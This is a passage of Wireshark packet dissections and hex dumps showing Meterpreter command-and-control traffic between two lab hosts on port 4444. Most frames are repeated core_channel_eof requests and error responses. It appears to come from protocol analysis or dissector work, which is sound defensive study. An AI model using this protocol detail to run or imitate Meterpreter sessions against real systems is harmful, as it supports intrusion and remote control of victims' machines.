0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  36 31 31 31 33 38 37 35 30 31 38 30 39 36 36 30   6111387501809660
0070  35 31 30 37 37 37 30 38 35 31 38 34 37 39 34 00   510777085184794.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     48 1266.651674    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2579 Ack=2116
Win=2050 Len=86
Frame 48: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2579, Ack: 2116, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023936313131333837353031383039363636... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 393631313133383735303138303936363035313037373730... [Value] 96111387501809660510777085184794
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c7 40 00 80 06 6a 0f c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a7 69 2e 7d 1a b7 50 18   .*.P.\.x.i.}..P.
0030  08 02 fc 00 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  36 31 31 31 33 38 37 35 30 31 38 30 39 36 36 30   6111387501809660
0070  35 31 30 37 37 37 30 38 35 31 38 34 37 39 34 00   510777085184794.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     49 1326.940789    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2116 Ack=2665 Win=96
Len=86
Frame 49: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2116, Ack: 2665, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323438333931383234343638383030... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3234383339313832343436383830303031373838303333730... [Value] 24839182446880001788037027689068
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 10 40 00 40 06 52 c6 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1a b7 a3 78 a7 bf 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  34 38 33 39 31 38 32 34 34 36 38 38 30 30 30 31   4839182446880001
0070  37 38 38 30 33 37 30 32 37 36 38 39 30 36 38 00   788037027689068.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     50 1326.941998    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2665 Ack=2202 
Win=2050 Len=86
Frame 50: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2665, Ack: 2202, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323438333931383234343638383030... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32343833393138323434363838303030313738383033373730... [Value] 24839182446880001788037027689068
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c8 40 00 80 06 6a 0e c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a7 bf 2e 7d 1b 0d 50 18   .*.P.\.x...}..P.
0030  08 02 08 45 00 00 00 00 00 56 00 00 00 01 00 00   ...E.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  34 38 33 39 31 38 32 34 34 36 38 38 30 30 30 31   4839182446880001
0070  37 38 38 30 33 37 30 32 37 36 38 39 30 36 38 00   788037027689068.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     51 1387.302192    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2202 Ack=2751 Win=96
Len=86
Frame 51: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2202, Ack: 2751, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323130353536313035323136353930 36... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32313035353631303532313635393036303630343532323237... [Value] 21055610521659060604522760220703
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 12 40 00 40 06 52 c4 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1b 0d a3 78 a8 15 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  31 30 35 35 36 31 30 35 32 31 36 35 39 30 36 30   1055610521659060
0070  36 30 34 35 32 32 37 36 30 32 32 30 37 30 33 00   604522760220703.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     52 1387.304297    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2751 Ack=2288
Win=2050 Len=86
Frame 52: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2751, Ack: 2288, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323130353536313035323136353930363... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 32313035353631303532313635393036303630343532323237... [Value] 21055610521659060604522760220703
Meterpreter protocol, TLV details
    Data: 0000000c0002000400000001 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c c9 40 00 80 06 6a 0d c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a8 15 2e 7d 1b 63 50 18   .*.P.\.x...}.cP.
0030  08 02 04 cb 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  31 30 35 35 36 31 30 35 32 31 36 35 39 30 36 30   1055610521659060
0070  36 30 34 35 32 32 37 36 30 32 32 30 37 30 33 00   604522760220703.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     53 1447.806714    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2288 Ack=2837 Win=96
Len=86
Frame 53: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2288, Ack: 2837, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343436373937383439363735353936 32... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3434363739373834393637353539363235303234333436 30... [Value] 44679784967559625024346014219598
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 14 40 00 40 06 52 c2 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1b 63 a3 78 a8 6b 50 18   .).\.P.}.c.x.kP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  34 36 37 39 37 38 34 39 36 37 35 35 39 36 32 35   4679784967559625
0070  30 32 34 33 34 36 30 31 34 32 31 39 35 39 38 00   024346014219598.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     54 1447.807476    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2837 Ack=2374 
Win=2049 Len=86
Frame 54: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2837, Ack: 2374, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002343436373739373834393637353539363... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 343436373937383439363735353936323530323433343630... [Value] 44679784967559625024346014219598
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c ca 40 00 80 06 6a 0c c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a8 6b 2e 7d 1b b9 50 18   .*.P.\.x.k.}..P.
0030  08 01 ff e6 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 34   el_eof....)....4
0060  34 36 37 39 37 38 34 39 36 37 35 35 39 36 32 35   4679784967559625
0070  30 32 34 33 34 36 30 31 34 32 31 39 35 39 38 00   024346014219598.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     55 1508.193501    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2374 Ack=2923 Win=96
Len=86
Frame 55: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2374, Ack: 2923, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313935333838323638373338333530 39... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3139353338383236383733383335303938343333313730 31... [Value] 19538826873835098433170125881531
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 00 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 16 40 00 40 06 52 c0 c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1b b9 a3 78 a8 c1 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  39 35 33 38 38 32 36 38 37 33 38 33 35 30 39 38   9538826873835098
0070  34 33 33 31 37 30 31 32 35 38 38 31 35 33 31 00   433170125881531.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     56 1508.194537    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=2923 Ack=2460
Win=2049 Len=86
Frame 56: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 2923, Ack: 2460, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000231393533383832363837333833353039... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 31393533383832363837333833353039383433333331373031... [Value] 19538826873835098433170125881531
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c cb 40 00 80 06 6a 0b c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a8 c1 2e 7d 1c 0f 50 18   .*.P.\.x...}..P.
0030  08 01 ec 5d 00 00 00 00 00 56 00 00 00 01 00 00   ...].....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  39 35 33 38 38 32 36 38 37 33 38 33 35 30 39 38   9538826873835098
0070  34 33 33 31 37 30 31 32 35 38 38 31 35 33 31 00   433170125881531.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     57 1568.291113    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2460 Ack=3009 Win=96
Len=86
Frame 57: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2460, Ack: 3009, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002393830313232303538323335333132 30... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 39383031323230353832333533313230373334313930313 8... [Value] 98012205823531207341901873188508
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 18 40 00 40 06 52 be c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1c 0f a3 78 a9 17 50 18   .).\.P.}...x..P.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  38 30 31 32 32 30 35 38 32 33 35 33 31 32 30 37   8012205823531207
0070  33 34 31 39 30 31 38 37 33 31 38 38 35 30 38 00   341901873188508.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     58 1568.292292    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3009 Ack=2546 
Win=2049 Len=86
Frame 58: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3009, Ack: 2546, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 000000290001000239383031323230353832333533313230... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 393830313232303538323335333132303733343139303138... [Value] 98012205823531207341901873188508
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0c cc 40 00 80 06 6a 0a c0 a8 01 29 c0 a8   .~..@...j....)..
0020  01 2a c6 50 11 5c a3 78 a9 17 2e 7d 1c 65 50 18   .*.P.\.x...}.eP.
0030  08 01 08 aa 00 00 00 00 00 56 00 00 00 01 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 39   el_eof....)....9
0060  38 30 31 32 32 30 35 38 32 33 35 33 31 32 30 37   8012205823531207
0070  33 34 31 39 30 31 38 37 33 31 38 38 35 30 38 00   341901873188508.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
     59 1628.438187    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=2546 Ack=3095 Win=96
Len=86
Frame 59: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 2546, Ack: 3095, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002323639343934383233383333393730393... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 32363934393438323338333339373039323630333432383... [Value] 26949482383397092603428389441226
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 1a 40 00 40 06 52 bc c0 a8 01 2a c0 a8   .~d.@.@.R....*..
0020  01 29 11 5c c6 50 2e 7d 1c 65 a3 78 a9 6d 50 18   .).\.P.}.e.x.mP.
0030  00 60 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .`.......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 32   el_eof....)....2
0060  36 39 34 39 34 38 32 33 38 33 33 39 37 30 39 32   6949482383397092
0070  36 30 33 34 32 38 33 38 39 34 34 31 32 32 36 00   603428389441226.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
     60 1628.438910    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=3095 Ack=2632
Win=2048 Len=86
Frame 60: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 3095, Ack: 2632, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
